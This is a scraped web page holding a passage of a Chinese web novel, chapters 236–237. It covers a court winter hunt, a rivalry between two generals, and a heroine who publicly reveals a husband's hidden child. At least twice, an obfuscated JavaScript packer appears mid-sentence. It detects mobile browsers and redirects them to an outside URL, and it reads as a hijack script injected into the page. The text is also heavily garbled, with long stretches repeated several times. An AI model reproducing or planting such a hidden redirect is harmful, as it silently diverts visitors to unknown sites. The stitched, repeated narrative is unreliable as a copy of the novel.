第二日,简单的祭祀之后,冬猎拉开序幕。 那边是女眷营帐,卫小将军再走就越矩了。” 卫凌泽放软语气:“二哥,我只是想去找禾儿说几句话。” “这些日子卫小将军不是很沉得住气吗,有什么话就不能等冬猎结束后再说?” 萧清阳的语气和神情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967407|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都充满嘲讽,卫凌泽心头一紧,低声解释:“二哥,这些日子我没有一天不想禾儿,只是轩辕朗的态度有多嚣张二哥也看到了,我必须多花些精力应付才行,并不是有意要冷落禾儿,二哥与我同朝为官,应该能理解我的处境。” 萧清阳当然能理解。 如果萧清禾跟卫凌泽感情如初,早在知道使臣团提出这种要求的时候,萧家就会出面帮卫凌泽推掉这场比试。 他瘫痪在床三年,虽然已康复大半年,但身手远不如三年前,万一输了,必然是前程尽毁。 萧家是不会眼睁睁地看着自家女婿落入如此境地的。 可禾儿在卫家受了那么多的委屈,如今萧家都有了和卫家断亲的打算,卫凌泽前程如何与萧家又有什么关系呢? 萧清阳扯了扯唇,笑意不达眼底:“你既然知道正事为重,这个时候又找禾儿做什么呢,万一明日你状态不好,卫家人岂不是要怨怪禾儿说了什么话害你心神不宁?” “二哥,卫家不会如此对禾儿的。” 卫凌泽控制不住拔高声音,整个人越发焦躁。 萧清阳并不惯着他,同样拔高声音:“你吼什么,禾儿这些日子在卫家受了多少委屈你心里没数吗?” “二哥……” “别叫我二哥,明日冬猎就开始了,你该早点回去休息养足精神,你若非要纠缠,那我们现在就去御前好好说清楚。” 萧清阳态度强硬,卫凌泽到底不敢闹到御前,僵持片刻,只能憋着一肚子气回了自己的营帐。 卫凌泽没能见到萧清禾,春喜和恒阳公主倒是在萧清禾的营帐待了很久。 恒阳公主也看出萧家对卫凌泽的态度不太一样了,但她没有探究八卦,只挑和冬猎有关的事聊。 得知春喜这段时日都有去萧家带萧清禾和萧清月练习骑射,恒阳公主顿时吃味:“有这么好玩的事你们怎么不早些叫我,不行,明日阿喜一定要与本公主好好比试一番。” “好啊,”春喜毫不犹豫地点头,半开玩笑道,“臣妇挺擅长这个的,到时可不会让着公主哦。” “巧了,本公主的骑射之术也还不错,阿喜若不拼尽全力跟本公主比,本公主定要治你的罪!” 约定好比试,恒阳公主兴致勃勃地离开,萧清禾和萧清月也有些期待。 春喜回到营帐立刻跟沈清渊说了这件事,沈清渊并不意外,淡声叮嘱:“输赢不重要,注意安全,开心就好。” 春喜凑过去,戳了戳他的胳膊:“今天公主说夫君的骑射很厉害,夫君有把握在这次冬猎中拔得头筹吗?” 沈清渊偏头睨着她:“夫人想让我拔得头筹?” 这话说得好像春喜想他就能做到一样。 春喜眨眨眼,片刻后露出笑容,学着他刚刚的语气说:“输赢不重要,我只要夫君注意安全,开心就好。” 沈清渊被春喜一本正经的表情逗乐,扣住她的脑袋亲了下来。 过了会儿,春喜听到他说:“夫人有多少把握能赢得公主,为夫就有多少把握拔得头筹。” “……”!!! 第二日,简单的祭祀之后,冬猎拉开序幕。 那边是女眷营帐,卫小将军再走就越矩了。” 卫凌泽放软语气:“二哥,我只是想去找禾儿说几句话。” “这些日子卫小将军不是很沉得住气吗,有什么话就不能等冬猎结束后再说?” 萧清阳的语气和神情都充满嘲讽,卫凌泽心头一紧,低声解释:“二哥,这些日子我没有一天不想禾儿,只是轩辕朗的态度有多嚣张二哥也看到了,我必须多花些精力应付才行,并不是有意要冷落禾儿,二哥与我同朝为官,应该能理解我的处境。” 萧清阳当然能理解。 如果萧清禾跟卫凌泽感情如初,早在知道使臣团提出这种要求的时候,萧家就会出面帮卫凌泽推掉这场比试。 他瘫痪在床三年,虽然已康复大半年,但身手远不如三年前,万一输了,必然是前程尽毁。 萧家是不会眼睁睁地看着自家女婿落入如此境地的。 可禾儿在卫家受了那么多的委屈,如今萧家都有了和卫家断亲的打算,卫凌泽前程如何与萧家又有什么关系呢? 萧清阳扯了扯唇,笑意不达眼底:“你既然知道正事为重,这个时候又找禾儿做什么呢,万一明日你状态不好,卫家人岂不是要怨怪禾儿说了什么话害你心神不宁?” “二哥,卫家不会如此对禾儿的。” 卫凌泽控制不住拔高声音,整个人越发焦躁。 萧清阳并不惯着他,同样拔高声音:“你吼什么,禾儿这些日子在卫家受了多少委屈你心里没数吗?” “二哥……” “别叫我二哥,明日冬猎就开始了,你该早点回去休息养足精神,你若非要纠缠,那我们现在就去御前好好说清楚。” 萧清阳态度强硬,卫凌泽到底不敢闹到御前,僵持片刻,只能憋着一肚子气回了自己的营帐。 卫凌泽没能见到萧清禾,春喜和恒阳公主倒是在萧清禾的营帐待了很久。 恒阳公主也看出萧家对卫凌泽的态度不太一样了,但她没有探究八卦,只挑和冬猎有关的事聊。 得知春喜这段时日都有去萧家带萧清禾和萧清月练习骑射,恒阳公主顿时吃味:“有这么好玩的事你们怎么不早些叫我,不行,明日阿喜一定要与本公主好好比试一番。” “好啊,”春喜毫不犹豫地点头,半开玩笑道,“臣妇挺擅长这个的,到时可不会让着公主哦。” “巧了,本公主的骑射之术也还不错,阿喜若不拼尽全力跟本公主比,本公主定要治你的罪!” 约定好比试,恒阳公主兴致勃勃地离开,萧清禾和萧清月也有些期待。 春喜回到营帐立刻跟沈清渊说了这件事,沈清渊并不意外,淡声叮嘱:“输赢不重要,注意安全,开心就好。” 春喜凑过去,戳了戳他的胳膊:“今天公主说夫君的骑射很厉害,夫君有把握在这次冬猎中拔得头筹吗?” 沈清渊偏头睨着她:“夫人想让我拔得头筹?” 这话说得好像春喜想他就能做到一样。 春喜眨眨眼,片刻后露出笑容,学着他刚刚的语气说:“输赢不重要,我只要夫君注意安全,开心就好。” 沈清渊被春喜一本正经的表情逗乐,扣住她的脑袋亲了下来。 过了会儿,春喜听到他说:“夫人有多少把握能赢得公主,为夫就有多少把握拔得头筹。” “……”!!! 第二日,简单的祭祀之后,冬猎拉开序幕。 那边是女眷营帐,卫小将军再走就越矩了。” 卫凌泽放软语气:“二哥,我只是想去找禾儿说几句话。” “这些日子卫小将军不是很沉得住气吗,有什么话就不能等冬猎结束后再说?” 萧清阳的语气和神情都充满嘲讽,卫凌泽心头一紧,低声解释:“二哥,这些日子我没有一天不想禾儿,只是轩辕朗的态度有多嚣张二哥也看到了,我必须多花些精力应付才行,并不是有意要冷落禾儿,二哥与我同朝为官,应该能理解我的处境。” 萧清阳当然能理解。 如果萧清禾跟卫凌泽感情如初,早在知道使臣团提出这种要求的时候,萧家就会出面帮卫凌泽推掉这场比试。 他瘫痪在床三年,虽然已康复大半年,但身手远不如三年前,万一输了,必然是前程尽毁。 萧家是不会眼睁睁地看着自家女婿落入如此境地的。 可禾儿在卫家受了那么多的委屈,如今萧家都有了和卫家断亲的打算,卫凌泽前程如何与萧家又有什么关系呢? 萧清阳扯了扯唇,笑意不达眼底:“你既然知道正事为重,这个时候又找禾儿做什么呢,万一明日你状态不好,卫家人岂不是要怨怪禾儿说了什么话害你心神不宁?” “二哥,卫家不会如此对禾儿的。” 卫凌泽控制不住拔高声音,整个人越发焦躁。 萧清阳并不惯着他,同样拔高声音:“你吼什么,禾儿这些日子在卫家受了多少委屈你心里没数吗?” “二哥……” “别叫我二哥,明日冬猎就开始了,你该早点回去休息养足精神,你若非要纠缠,那我们现在就去御前好好说清楚。” 萧清阳态度强硬,卫凌泽到底不敢闹到御前,僵持片刻,只能憋着一肚子气回了自己的营帐。 卫凌泽没能见到萧清禾,春喜和恒阳公主倒是在萧清禾的营帐待了很久。 恒阳公主也看出萧家对卫凌泽的态度不太一样了,但她没有探究八卦,只挑和冬猎有关的事聊。 得知春喜这段时日都有去萧家带萧清禾和萧清月练习骑射,恒阳公主顿时吃味:“有这么好玩的事你们怎么不早些叫我,不行,明日阿喜一定要与本公主好好比试一番。” “好啊,”春喜毫不犹豫地点头,半开玩笑道,“臣妇挺擅长这个的,到时可不会让着公主哦。” “巧了,本公主的骑射之术也还不错,阿喜若不拼尽全力跟本公主比,本公主定要治你的罪!” 约定好比试,恒阳公主兴致勃勃地离开,萧清禾和萧清月也有些期待。 春喜回到营帐立刻跟沈清渊说了这件事,沈清渊并不意外,淡声叮嘱:“输赢不重要,注意安全,开心就好。” 春喜凑过去,戳了戳他的胳膊:“今天公主说夫君的骑射很厉害,夫君有把握在这次冬猎中拔得头筹吗?” 沈清渊偏头睨着她:“夫人想让我拔得头筹?” 这话说得好像春喜想他就能做到一样。 春喜眨眨眼,片刻后露出笑容,学着他刚刚的语气说:“输赢不重要,我只要夫君注意安全,开心就好。” 沈清渊被春喜一本正经的表情逗乐,扣住她的脑袋亲了下来。 过了会儿,春喜听到他说:“夫人有多少把握能赢得公主,为夫就有多少把握拔得头筹。” “……”!!! 第二日,简单的祭祀之后,冬猎拉开序幕。 第236章 抢了风头 陛下年事已高,并未亲自参加冬猎,不过太子和诸位皇子都会一起参加。 象征冬猎的铜锣声一响,卫凌泽就一马当先,率先冲进猎场之中。 轩辕朗紧随其后,哪怕林中树木繁多,障碍重重,始终跟在卫凌泽不远不近的地方。 像是一头狼,不紧不慢地跟着自己的猎物。 卫凌泽很快就有些烦了,勒停了马扭头瞪着轩辕朗:“今日比的是谁先猎得猎物,谁猎的猎物数量更多,你一直跟着我做什么? 轩辕朗露出笑容,开口依然是蹩脚的昭陵话:“我只是想提醒你,做猎人要有耐心,不能太急躁,我期待这场较量很久了,不希望我的对手太差劲。 卫凌泽很不喜欢这种被轻视的感觉,他皱着眉冷冷道:“我做事自有我的道理,还轮不到你这个残废对我指手画脚! 话音刚落,轩辕朗突然拿起**搭在脚上,单手搭弓,拉满,而后放箭。 整套动作他做得行云流水,卫凌泽及时侧身避开,那箭射入他背后的树干之上,箭尾疯狂震颤,发出嗡鸣。 轩辕朗收起弓,严肃地纠正:“我的确残了,但没有废,反而是你,速度比当初慢了很多。 说到最后,轩辕朗的语气带了可惜,似乎觉得卫凌泽已经不配做他的对手。 卫凌泽沉了脸,还想说些什么,猎场上空发出“啪 卫凌泽和轩辕朗同时变了脸色。 这意味着有人先一步猎到了猎物。 虽然这并不能代表最终的比试结果,但能猎得这场冬猎的第一个猎物,那也是很好的兆头。 轩辕朗不再纠缠,掉转马头,朝着刚刚发出声音的方向而去,卫凌泽仍旧坚持自己一开始选定的方向,然而一回头,看到轩辕朗刚刚射出那一箭,脸上又出现了裂痕。 那一箭的箭身有近半都射入了树干之中,这次围猎大家用的都是内务府统一制作的弓箭,这样近的距离,轩辕朗能射出这样一箭,足见其力量强大。 轩辕朗说得没错,他虽然断了一臂,但没有变成废物,甚至比三年前更强了。 卫凌泽抓紧手里的弓,心里的慌乱越来越大。 不管怎么样,他都不能输给轩辕朗,可现在他没有把握能赢。 ** 太子率众人进入围场后,恒阳公主便迫不及待地拉着春喜去到营地旁边的空地要比个高低。 宫人很快牵来两匹性情比较温顺的好马,春喜也没扫恒阳公主的兴,马鞭一扬,认认真真和 她比试起来。 恒阳公主今日穿了一身枫叶红的骑马装,整个人艳丽又惹眼,加上还有公主府的婢女在大声为她加油打气,很快吸引了皇后和其他人的注意。 众人纷纷夸赞恒阳公主英姿飒爽,不输男儿,但在知道旁边陪跑的人是春喜后,又变了口风,说女子还是要娴静温柔些才好,不能太过跳脱,不然对后宅安稳不利。 人多的地方口舌就多,皇后只是听着,并不搭茬。 云晚棠也参加了这次冬猎,她并未加入这些世家夫人的交谈,只是安安静静地煮茶,没一会儿,清冽的茶香,就引得众人频频瞩目。 云晚棠先倒了一杯献给皇后:“臣妇别无所长,唯有茶艺还算过得去,还请皇后娘娘莫要嫌弃。” “这茶闻着就香,夫人太谦虚了。” 皇后夸着接过茶喝了一口,眼眸微亮。 这茶确实好喝。 皇后顺势跟云晚棠聊起翁州的民风民俗,云晚棠不骄不躁,一一解答,众人不自觉停下交谈,认真聆听起来。 原本还有些羡慕恒阳公主和春喜能够策马疾驰的世家小姐们也都收敛了心思,坐得端正了些。 纵马奔腾只是一时的畅快,身为女子,还是要像太傅府五夫人这样才好。 春喜和恒阳公主并不知道众人在想什么,皇家围场比寻常的马场大多了,而且没什么阻碍,跑起来尤其的畅快,连风都是自由的。 两人撒足了劲儿跑了五圈,最终是春喜以领先半圈的优势胜出。 萧清禾和萧清月一直守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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皇后要走,其他人自然要陪着一起,站在人群中的云晚棠眼底闪过冷意。 她给皇后煮茶,讲翁州的风土人情,皇后虽然也夸她,却没有给任何实质性的赏赐。 她的风头不能被曹春喜抢了去! 第237章 的确是我劝他们和离的 靶场离得不远,众人到时,宫人已经立好靶子,送来弓箭。 这弓是专为女子做的,比给男子用的更加小巧轻便,拉起来也不会太费力。 春喜接过弓细细的检查体验起来,恒阳公主笑着道:“我八岁就开始玩弓了,虽然没有练到百步穿杨的地步,但也很准,阿喜你一会儿输了可别哭哦。” 恒阳公主自信又高兴,她已经很久没有这样畅快的玩过,这种棋逢对手的感觉实在是太好了。 春喜抬起头说:“我小时候玩的是弹弓,用来打鸟窝和马蜂窝比较多,也挺准的,公主殿下别太小瞧我。” 恒阳公主的注意力跑偏:“你打鸟窝应该可以偷鸟蛋,打马蜂窝做什么,不怕被蛰吗?” 春喜摇摇头:“我爹每次走镖一走就是好几个月,他不在的时候,有时会有人欺负我娘,我就趁他们路过的时候把马蜂窝打下来蛰他们。” 恒阳公主先是一愣,而后大笑起来:“阿喜,你可真聪明啊,要是早点认识你就好了,本公主有好多想蛰的人呢。” 众人:“……” 公主殿下,你可学点儿好的吧。 春喜其实还有好多惩治人的招,她刚想再说一些出来,耳边却传来云晚棠的声音:“沈夫人有仇必报的确是真性情,但卫家待你不薄,你却恩将仇报,暗中挑拨禾儿和泽儿的感情,这合适吗?” 云晚棠今日穿了一身天青色绣君子兰冬袄加裙子,一如往日的素雅淡然,往那儿一站,如她衣服上的君子兰一般清幽怡人,但说出来的话就不那么动听了。 这话一出,皇后和众人的目光都落在春喜身上。 昨晚萧清禾是挨着自家父兄坐的,连一句话都没有跟卫凌泽说,众人都很好奇两人之间发生了什么,这会儿云晚棠主动说起这个话题,瞬间勾起了所有人的八卦之心。 感受到众人的注视,春喜并不慌张,反而有种瞌睡来了就有人送枕头的感觉。 她还正愁该怎么毫不刻意地挑起这个话题呢。 萧清禾第一时间站出来反驳:“小姨,我和卫凌泽之间的事跟小婶婶没有关系。” 云晚棠直接摇头否决:“禾儿,当初泽儿重伤瘫痪,你都坚持不肯解除婚约,足见你对泽儿的深情,若无人挑唆,你怎会跟泽儿走到如此地步?” 云晚棠说着红了眼,不知是心疼萧清禾,还是在惋惜这段人人称赞的感情。 萧清禾眉头紧蹙,这次祖母让她随父兄来参加冬猎,的确是想让卫家和其他人都看到萧家的态度, 但真要和离,还得两家族老坐在一起商谈才行。 她没想到云晚棠会突然当众提起这件事,还把错都归咎到春喜头上。 她和卫凌泽之间的事一句两句也说不清楚,万一哪句话说得不对落下话柄,便会让萧家陷入被动的局面。 萧清禾在心里斟酌着字句,不敢轻易回答。 这反应在云晚棠的预料之中。 她自然知道萧清禾为什么回萧家去住,但她断定萧清禾不会当着皇后和这么多世家夫人的面说出真相。 为**者,侍奉夫君是天经地义的事,就算云氏给萧清禾下药不对,那也是萧清禾任性拒绝同房在先。 旁人不知细节,只会觉得萧清禾被萧家养得太娇纵蛮横。 萧清禾不敢轻易开口落下话柄,云晚棠就能借这件事扣春喜一个忘恩负义的罪名。 老话都说宁拆十座庙,不破一桩婚,更何况春喜和萧清禾还不是血缘至亲。 只要今日能把春喜抹黑成喜欢插手别人家事的搅事精,皇后和诸位世家夫人都不会再愿意与她结交,就算恒阳公主再喜欢春喜也不足为惧了。 云晚棠很擅长做这种事,她已经想好要如何步步紧逼将春喜逼入绝境,这时突然听到春喜说:“的确是我劝禾儿跟卫凌泽和离。” “……”??? 云晚棠表情一僵,一度怀疑自己的耳朵听错了。 曹春喜没有辩解,反而大大方方的承认了这件事? 曹春喜知道承认这件事会有什么后果吗? 众人也都被春喜的坦荡惊道。 这人怎么连毁人姻缘都能说的这么理直气壮,理直气壮到像是在替天行道? 在众人的注视之下,春喜面不改色:“卫凌泽已经不是当初的卫少将军了,他辜负了禾儿,我身为禾儿的小婶婶,若不劝禾儿早日和离,恐怕会遭天打雷劈。” 春喜的反应在云晚棠的预料之外,但很快云晚棠就恢复镇定。 开弓没有回头箭,不管曹春喜要耍什么花样,她只要咬死曹春喜忘恩负义、毁人姻缘就好了。 这般想着,云晚棠开口质问:“沈夫人在卫家做过将近十年的丫鬟,离开卫家时,不仅得了一千两赏银,还得了整整一马车的绫罗绸缎,卫家待你不薄,你却搅得卫家家宅不宁,你的良心是被狗吃了吗??” “卫家的确待我不薄。” 春喜点点头,并不否认这件事,紧接着又道:“但萧家待我更是恩重如山,我不能因为得了卫家的好处,就替卫家保守秘密,眼睁睁地看着禾儿陷在火坑之中。” 云晚棠方才那番话说的慷慨激昂,很能勾起大家的情绪,春喜却比她更会演,不过几句话的功夫竟然落下泪来。 云晚棠感觉有些不妙,正想再说什么,春喜噗通一声直接跪在了皇后面前:“皇后娘娘,臣妇有罪,都是臣妇害了禾儿,臣妇该死啊!” 春喜一声比一声喊的大,别说云晚棠,连恒阳公主都被震得说不出话来。 场面一度陷入死寂,最终还是萧清月打破安静追问:“小婶婶,你这话是什么意思?什么叫你害了我阿姐?” 春喜不忍心地看了萧清禾一眼,然后才继续道:“卫凌泽受伤之后,卫夫人为了给他绵延子嗣,暗中找了一批肤白貌美的女子侍奉,他其实早就变了心,不仅日日与那些女子厮混,还让其中一个女子生下了孩子!” 春喜这一嗓子嚎出来,场面比刚刚更加静了。 萧清月什么都不知道,整个人如遭雷击。 云晚棠比她好不到哪里去,整个人也是懵的。 泽儿竟然有个私生子,阿姐怎么从来没有跟她说过? 但真要和离,还得两家族老坐在一起商谈才行。 她没想到云晚棠会突然当众提起这件事,还把错都归咎到春喜头上。 她和卫凌泽之间的事一句两句也说不清楚,万一哪句话说得不对落下话柄,便会让萧家陷入被动的局面。 萧清禾在心里斟酌着字句,不敢轻易回答。 这反应在云晚棠的预料之中。 她自然知道萧清禾为什么回萧家去住,但她断定萧清禾不会当着皇后和这么多世家夫人的面说出真相。 为**者,侍奉夫君是天经地义的事,就算云氏给萧清禾下药不对,那也是萧清禾任性拒绝同房在先。 旁人不知细节,只会觉得萧清禾被萧家养得太娇纵蛮横。 萧清禾不敢轻易开口落下话柄,云晚棠就能借这件事扣春喜一个忘恩负义的罪名。 老话都说宁拆十座庙,不破一桩婚,更何况春喜和萧清禾还不是血缘至亲。 只要今日能把春喜抹黑成喜欢插手别人家事的搅事精,皇后和诸位世家夫人都不会再愿意与她结交,就算恒阳公主再喜欢春喜也不足为惧了。 云晚棠很擅长做这种事,她已经想好要如何步步紧逼将春喜逼入绝境,这时突然听到春喜说:“的确是我劝禾儿跟卫凌泽和离。” “……”??? 云晚棠表情一僵,一度怀疑自己的耳朵听错了。 曹春喜没有辩解,反而大大方方的承认了这件事? 曹春喜知道承认这件事会有什么后果吗? 众人也都被春喜的坦荡惊道。 这人怎么连毁人姻缘都能说的这么理直气壮,理直气壮到像是在替天行道? 在众人的注视之下,春喜面不改色:“卫凌泽已经不是当初的卫少将军了,他辜负了禾儿,我身为禾儿的小婶婶,若不劝禾儿早日和离,恐怕会遭天打雷劈。” 春喜的反应在云晚棠的预料之外,但很快云晚棠就恢复镇定。 开弓没有回头箭,不管曹春喜要耍什么花样,她只要咬死曹春喜忘恩负义、毁人姻缘就好了。 这般想着,云晚棠开口质问:“沈夫人在卫家做过将近十年的丫鬟,离开卫家时,不仅得了一千两赏银,还得了整整一马车的绫罗绸缎,卫家待你不薄,你却搅得卫家家宅不宁,你的良心是被狗吃了吗??” “卫家的确待我不薄。” 春喜点点头,并不否认这件事,紧接着又道:“但萧家待我更是恩重如山,我不能因为得了卫家的好处,就替卫家保守秘密,眼睁睁地看着禾儿陷在火坑之中。” 云晚棠方才那番话说的慷慨激昂,很能勾起大家的情绪,春喜却比她更会演,不过几句话的功夫竟然落下泪来。 云晚棠感觉有些不妙,正想再说什么,春喜噗通一声直接跪在了皇后面前:“皇后娘娘,臣妇有罪,都是臣妇害了禾儿,臣妇该死啊!” 春喜一声比一声喊的大,别说云晚棠,连恒阳公主都被震得说不出话来。 场面一度陷入死寂,最终还是萧清月打破安静追问:“小婶婶,你这话是什么意思?什么叫你害了我阿姐?” 春喜不忍心地看了萧清禾一眼,然后才继续道:“卫凌泽受伤之后,卫夫人为了给他绵延子嗣,暗中找了一批肤白貌美的女子侍奉,他其实早就变了心,不仅日日与那些女子厮混,还让其中一个女子生下了孩子!” 春喜这一嗓子嚎出来,场面比刚刚更加静了。 萧清月什么都不知道,整个人如遭雷击。 云晚棠比她好不到哪里去,整个人也是懵的。 泽儿竟然有个私生子,阿姐怎么从来没有跟她说过? 但真要和离,还得两家族老坐在一起商谈才行。 她没想到云晚棠会突然当众提起这件事,还把错都归咎到春喜头上。 她和卫凌泽之间的事一句两句也说不清楚,万一哪句话说得不对落下话柄,便会让萧家陷入被动的局面。 萧清禾在心里斟酌着字句,不敢轻易回答。 这反应在云晚棠的预料之中。 她自然知道萧清禾为什么回萧家去住,但她断定萧清禾不会当着皇后和这么多世家夫人的面说出真相。 为**者,侍奉夫君是天经地义的事,就算云氏给萧清禾下药不对,那也是萧清禾任性拒绝同房在先。 旁人不知细节,只会觉得萧清禾被萧家养得太娇纵蛮横。 萧清禾不敢轻易开口落下话柄,云晚棠就能借这件事扣春喜一个忘恩负义的罪名。 老话都说宁拆十座庙,不破一桩婚,更何况春喜和萧清禾还不是血缘至亲。 只要今日能把春喜抹黑成喜欢插手别人家事的搅事精,皇后和诸位世家夫人都不会再愿意与她结交,就算恒阳公主再喜欢春喜也不足为惧了。 云晚棠很擅长做这种事,她已经想好要如何步步紧逼将春喜逼入绝境,这时突然听到春喜说:“的确是我劝禾儿跟卫凌泽和离。” “……”??? 云晚棠表情一僵,一度怀疑自己的耳朵听错了。 曹春喜没有辩解,反而大大方方的承认了这件事? 曹春喜知道承认这件事会有什么后果吗? 众人也都被春喜的坦荡惊道。 这人怎么连毁人姻缘都能说的这么理直气壮,理直气壮到像是在替天行道? 在众人的注视之下,春喜面不改色:“卫凌泽已经不是当初的卫少将军了,他辜负了禾儿,我身为禾儿的小婶婶,若不劝禾儿早日和离,恐怕会遭天打雷劈。” 春喜的反应在云晚棠的预料之外,但很快云晚棠就恢复镇定。 开弓没有回头箭,不管曹春喜要耍什么花样,她只要咬死曹春喜忘恩负义、毁人姻缘就好了。 这般想着,云晚棠开口质问:“沈夫人在卫家做过将近十年的丫鬟,离开卫家时,不仅得了一千两赏银,还得了整整一马车的绫罗绸缎,卫家待你不薄,你却搅得卫家家宅不宁,你的良心是被狗吃了吗??” “卫家的确待我不薄。” 春喜点点头,并不否认这件事,紧接着又道:“但萧家待我更是恩重如山,我不能因为得了卫家的好处,就替卫家保守秘密,眼睁睁地看着禾儿陷在火坑之中。” 云晚棠方才那番话说的慷慨激昂,很能勾起大家的情绪,春喜却比她更会演,不过几句话的功夫竟然落下泪来。 云晚棠感觉有些不妙,正想再说什么,春喜噗通一声直接跪在了皇后面前:“皇后娘娘,臣妇有罪,都是臣妇害了禾儿,臣妇该死啊!” 春喜一声比一声喊的大,别说云晚棠,连恒阳公主都被震得说不出话来。 场面一度陷入死寂,最终还是萧清月打破安静追问:“小婶婶,你这话是什么意思?什么叫你害了我阿姐?” 春喜不忍心地看了萧清禾一眼,然后才继续道:“卫凌泽受伤之后,卫夫人为了给他绵延子嗣,暗中找了一批肤白貌美的女子侍奉,他其实早就变了心,不仅日日与那些女子厮混,还让其中一个女子生下了孩子!” 春喜这一嗓子嚎出来,场面比刚刚更加静了。 萧清月什么都不知道,整个人如遭雷击。 云晚棠比她好不到哪里去,整个人也是懵的。 泽儿竟然有个私生子,阿姐怎么从来没有跟她说过? 但真要和离,还得两家族老坐在一起商谈才行。 她没想到云晚棠会突然当众提起这件事,还把错都归咎到春喜头上。 她和卫凌泽之间的事一句两句也说不清楚,万一哪句话说得不对落下话柄,便会让萧家陷入被动的局面。 萧清禾在心里斟酌着字句,不敢轻易回答。 这反应在云晚棠的预料之中。 她自然知道萧清禾为什么回萧家去住,但她断定萧清禾不会当着皇后和这么多世家夫人的面说出真相。 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云晚棠方才那番话说的慷慨激昂,很能勾起大家的情绪,春喜却比她更会演,不过几句话的功夫竟然落下泪来。 云晚棠感觉有些不妙,正想再说什么,春喜噗通一声直接跪在了皇后面前:“皇后娘娘,臣妇有罪,都是臣妇害了禾儿,臣妇该死啊!” 春喜一声比一声喊的大,别说云晚棠,连恒阳公主都被震得说不出话来。 场面一度陷入死寂,最终还是萧清月打破安静追问:“小婶婶,你这话是什么意思?什么叫你害了我阿姐?” 春喜不忍心地看了萧清禾一眼,然后才继续道:“卫凌泽受伤之后,卫夫人为了给他绵延子嗣,暗中找了一批肤白貌美的女子侍奉,他其实早就变了心,不仅日日与那些女子厮混,还让其中一个女子生下了孩子!” 春喜这一嗓子嚎出来,场面比刚刚更加静了。 萧清月什么都不知道,整个人如遭雷击。 云晚棠比她好不到哪里去,整个人也是懵的。 泽儿竟然有个私生子,阿姐怎么从来没有跟她说过? 但真要和离,还得两家族老坐在一起商谈才行。 她没想到云晚棠会突然当众提起这件事,还把错都归咎到春喜头上。 她和卫凌泽之间的事一句两句也说不清楚,万一哪句话说得不对落下话柄,便会让萧家陷入被动的局面。 萧清禾在心里斟酌着字句,不敢轻易回答。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971982|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这反应在云晚棠的预料之中。 她自然知道萧清禾为什么回萧家去住,但她断定萧清禾不会当着皇后和这么多世家夫人的面说出真相。 为**者,侍奉夫君是天经地义的事,就算云氏给萧清禾下药不对,那也是萧清禾任性拒绝同房在先。 旁人不知细节,只会觉得萧清禾被萧家养得太娇纵蛮横。 萧清禾不敢轻易开口落下话柄,云晚棠就能借这件事扣春喜一个忘恩负义的罪名。 老话都说宁拆十座庙,不破一桩婚,更何况春喜和萧清禾还不是血缘至亲。 只要今日能把春喜抹黑成喜欢插手别人家事的搅事精,皇后和诸位世家夫人都不会再愿意与她结交,就算恒阳公主再喜欢春喜也不足为惧了。 云晚棠很擅长做这种事,她已经想好要如何步步紧逼将春喜逼入绝境,这时突然听到春喜说:“的确是我劝禾儿跟卫凌泽和离。” “……”??? 云晚棠表情一僵,一度怀疑自己的耳朵听错了。 曹春喜没有辩解,反而大大方方的承认了这件事? 曹春喜知道承认这件事会有什么后果吗? 众人也都被春喜的坦荡惊道。 这人怎么连毁人姻缘都能说的这么理直气壮,理直气壮到像是在替天行道? 在众人的注视之下,春喜面不改色:“卫凌泽已经不是当初的卫少将军了,他辜负了禾儿,我身为禾儿的小婶婶,若不劝禾儿早日和离,恐怕会遭天打雷劈。” 春喜的反应在云晚棠的预料之外,但很快云晚棠就恢复镇定。 开弓没有回头箭,不管曹春喜要耍什么花样,她只要咬死曹春喜忘恩负义、毁人姻缘就好了。 这般想着,云晚棠开口质问:“沈夫人在卫家做过将近十年的丫鬟,离开卫家时,不仅得了一千两赏银,还得了整整一马车的绫罗绸缎,卫家待你不薄,你却搅得卫家家宅不宁,你的良心是被狗吃了吗??” “卫家的确待我不薄。” 春喜点点头,并不否认这件事,紧接着又道:“但萧家待我更是恩重如山,我不能因为得了卫家的好处,就替卫家保守秘密,眼睁睁地看着禾儿陷在火坑之中。” 云晚棠方才那番话说的慷慨激昂,很能勾起大家的情绪,春喜却比她更会演,不过几句话的功夫竟然落下泪来。 云晚棠感觉有些不妙,正想再说什么,春喜噗通一声直接跪在了皇后面前:“皇后娘娘,臣妇有罪,都是臣妇害了禾儿,臣妇该死啊!” 春喜一声比一声喊的大,别说云晚棠,连恒阳公主都被震得说不出话来。 场面一度陷入死寂,最终还是萧清月打破安静追问:“小婶婶,你这话是什么意思?什么叫你害了我阿姐?” 春喜不忍心地看了萧清禾一眼,然后才继续道:“卫凌泽受伤之后,卫夫人为了给他绵延子嗣,暗中找了一批肤白貌美的女子侍奉,他其实早就变了心,不仅日日与那些女子厮混,还让其中一个女子生下了孩子!” 春喜这一嗓子嚎出来,场面比刚刚更加静了。 萧清月什么都不知道,整个人如遭雷击。 云晚棠比她好不到哪里去,整个人也是懵的。 泽儿竟然有个私生子,阿姐怎么从来没有跟她说过? 但真要和离,还得两家族老坐在一起商谈才行。 